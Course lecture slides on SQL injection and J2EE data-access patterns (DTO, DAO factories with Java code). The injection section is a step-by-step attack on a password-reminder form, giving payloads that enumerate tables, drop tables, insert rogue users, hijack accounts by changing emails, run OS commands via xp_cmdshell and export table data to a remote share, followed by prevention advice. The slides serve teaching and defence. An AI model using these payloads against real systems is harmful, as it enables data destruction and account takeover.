COMP 321

1. COMP 321 Week 5

2. Overview • SQL Injection • Core J2EE Patterns • Lab 5-2 Introduction • Exam Review

3. SQL Injection

4. SQL Injection (cont’d) • An extremely common vulnerability in web applications • Allows users to execute arbitrary SQL commands on your database!

5. SQL Injection (cont’d) • Picture a website with an “I forgot my password” form that mails you your password • This is a bad idea in the first place, and a sign of weak security • How does this form work?

6. SQL Injection (cont’d) • How does this form work? • POSTs what you enter in the email field to the server • The server looks up your account, and mails the password to you

7. SQL Injection (cont’d) • The server probably looks up the account like this: SELECT fieldlist FROM table WHERE field = '$EMAIL'; • If $EMAIL is not handled properly, the site is vulnerable • How can we test this theory?

8. SQL Injection (cont’d) • What if we enter addr@here.com’ as our address? SELECT fieldlist FROMtableWHERE field = 'addr@here.com''; • Invalid SQL will cause an error

9. SQL Injection (cont’d) • xp_cmdshell is an MSSQL stored procedure that allows execution of arbitrary operating system commands directly to the Windows command shell: SELECT fieldlist FROMtableWHERE field = '';exec master..xp_cmdshell 'ping 10.10.1.2'--';

10. SQL Injection (cont’d) • sp_makewebtask will create an HTML file SELECT fieldlist FROMtableWHERE field = ''; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES";--';

11. SQL Injection (cont’d) • What if we enter anything’ OR ‘x’=‘x’? SELECT fieldlist FROMtableWHERE field = 'anything' OR 'x'='x'; • This will return all rows • Results depend on implementation: • Your password was sent to acct@here.com • Account not found • Server error

12. SQL Injection (cont’d) • Now we would like to know what fields are in the table • We can test for field names like this: SELECT fieldlist FROMtableWHERE field = 'x' AND email ISNULL;--'; • If email is a column we’ll see some kind of successful response • Otherwise we’ll see a SQL error

13. SQL Injection (cont’d) • Next, we’ll need to guess the table name: SELECT email, passwd, login_id, full_name FROMtableWHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

14. SQL Injection (cont’d) • We’ve guessed the table name, but now we need to know if it's the table used in this query: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email ISNULL; --'; • This only works if the query is on members

15. SQL Injection (cont’d) • If the database is not read-only, we can now cause damage: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROPTABLE members; --';

16. SQL Injection (cont’d) • Dropping the table isn’t very useful • We could try to create a new user: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERTINTO members ('email','passwd','login_id','full_name') VALUES ('me@here.com','pass','me','haX0r');--';

17. SQL Injection (cont’d) • Adding a user may not work: • May not have privileges to INSERT rows • Fields we haven’t guessed may be required, or app may need real values in them • Relationships with other tables may be needed

18. SQL Injection (cont’d) • It may be easier to modify an existing user if we can find one • Earlier query may have displayed an email address • Website may list contact information • Could use LIKE SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%';

19. SQL Injection (cont’d) • Once we have an account, we can change the email address: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'me@here.com' WHERE email = 'bob@example.com'; • Now we can use the form to get the password!

20. Preventing SQL Injection • Sanitizing Inputs • Not very effective, but if necessary: • Use whitelists • Don’t sanitize in JavaScript • Consider all fields

21. Preventing SQL Injection (cont’d) • Restrict database permissions • Don’t give write access to users that don’t require it • Delete unused stored procedures • Don’t allow users to see detailed error messages • Default error messages provide very useful information to attackers

22. Preventing SQL Injection (cont’d) • Use prepared statements SELECTusernameFROMusersWHEREemail = ? • Values are treated as data, and not interpreted as part of the SQL syntax • Use stored procedures • Has a similar effect, may also improve performance

23. Core J2EE Patterns • Data Transfer Object (DTO) • Used to optimize access to data maintained in an application server • Data Access Object (DAO) • Used to abstract access to data storage

24. Transfer Object • In an application server, data is accessed through remote interfaces, and every call is potentially over a network • Applications typically read data more often than they write data • The client usually requires values for more than one property of an object • A Data Transfer Object is a serializable object used to encapsulate the business data so that it can be retrieved in a single call

25. Transfer Object (cont’d) • Client: The client application • Business Object: A session bean, entity bean, or data access object (DAO) in the application server • Data Transfer Object: The serializable object used to pass data back and forth

26. Transfer Object (cont’d)

27. Updatable Transfer Objects

28. Updatable Transfer Objects (cont’d)

29. Data Access Objects • Applications need to store persistent data • Different SQL statements may be needed for different databases • Different types of persistent storage causes even greater variation in access methods (RDBMS, OODB, flat files, etc.) • Data Access Objects hide data source implementation details behind a simple interface

30. Data Access Objects (cont’d)

31. Data Access Objects (cont’d)

32. Data Access Objects (cont’d)

33. DAO – Factory Method Pattern

34. DAO – Abstract Factory Pattern

35. Data Access Objects //Abstract class DAO Factory publicabstractclass DAOFactory { // List of DAO types supported by the factory publicstaticfinalintCLOUDSCAPE = 1; publicstaticfinalintORACLE = 2; publicstaticfinalintSYBASE = 3; // The concrete factories will have to implement these methods. publicabstract CustomerDAO getCustomerDAO(); publicabstract AccountDAO getAccountDAO(); publicabstract OrderDAO getOrderDAO(); publicstatic DAOFactory getDAOFactory(int whichFactory) { switch (whichFactory){ caseCLOUDSCAPE:returnnew CloudscapeDAOFactory(); caseORACLE:returnnew OracleDAOFactory(); caseSYBASE:returnnew SybaseDAOFactory(); } }

36. Data Access Objects (cont’d) //Cloudscape concrete DAO Factory implementation publicclass CloudscapeDAOFactory extends DAOFactory { publicstatic Connection createConnection() { // Create a connection } public CustomerDAO getCustomerDAO() { returnnew CloudscapeCustomerDAO(); // implements CustomerDAO } public AccountDAO getAccountDAO() { returnnew CloudscapeAccountDAO(); // implements AccountDAO } public OrderDAO getOrderDAO() { returnnew CloudscapeOrderDAO(); // implements OrderDAO } }

37. Data Access Objects (cont’d) //Interface that all CustomerDAOs must implement publicinterface CustomerDAO { publicint insertCustomer(…); publicboolean deleteCustomer(…); public Customer findCustomer(…); publicboolean updateCustomer(…); public RowSet selectCustomersRS(…); public Collection selectCustomersTO(…); … }

38. Data Access Objects (cont’d) //CloudscapeCustomerDAO implementation of the CustomerDAO interface. //This class can contain all Cloudscape specific code and SQL. //The client is thus shielded from knowing these implementation details. publicclass CloudscapeCustomerDAO implements CustomerDAO { public CloudscapeCustomerDAO() {…} // The following methods can use // CloudscapeDAOFactory.createConnection() to get a connection publicint insertCustomer(…) {…} publicboolean deleteCustomer(…) {…} public Customer findCustomer(…) {…} publicboolean updateCustomer(…) {…} public RowSet selectCustomersRS(…) {…} public Collection selectCustomersTO(…) {…} }

39. Data Access Objects (cont’d) publicclass Customer implements java.io.Serializable { // member variables intCustomerNumber; String name; String streetAddress; String city; … // getter and setter methods... … }

40. Data Access Objects (cont’d) DAOFactory cloudscapeFactory = DAOFactory.getDAOFactory(DAOFactory.DAOCLOUDSCAPE); CustomerDAO custDAO = cloudscapeFactory.getCustomerDAO(); int newCustNo = custDAO.insertCustomer(…); Customer cust = custDAO.findCustomer(…); cust.setAddress(…); cust.setEmail(…); custDAO.updateCustomer(cust); custDAO.deleteCustomer(…); // Find customers in New York Customer criteria = new Customer(); criteria.setCity("New York"); Collection customersList = custDAO.selectCustomersTO(criteria); // Iterate through customersList...

41. Lab 5-2 Introduction

42. Exam Review

43. Progress Check • Due this week: • Lab 4-1 Hypersonic Setup • Due next week: • Read IBM tutorials: • Advanced Database Operations with JDBC • Managing Database Connections with JDBC • Exam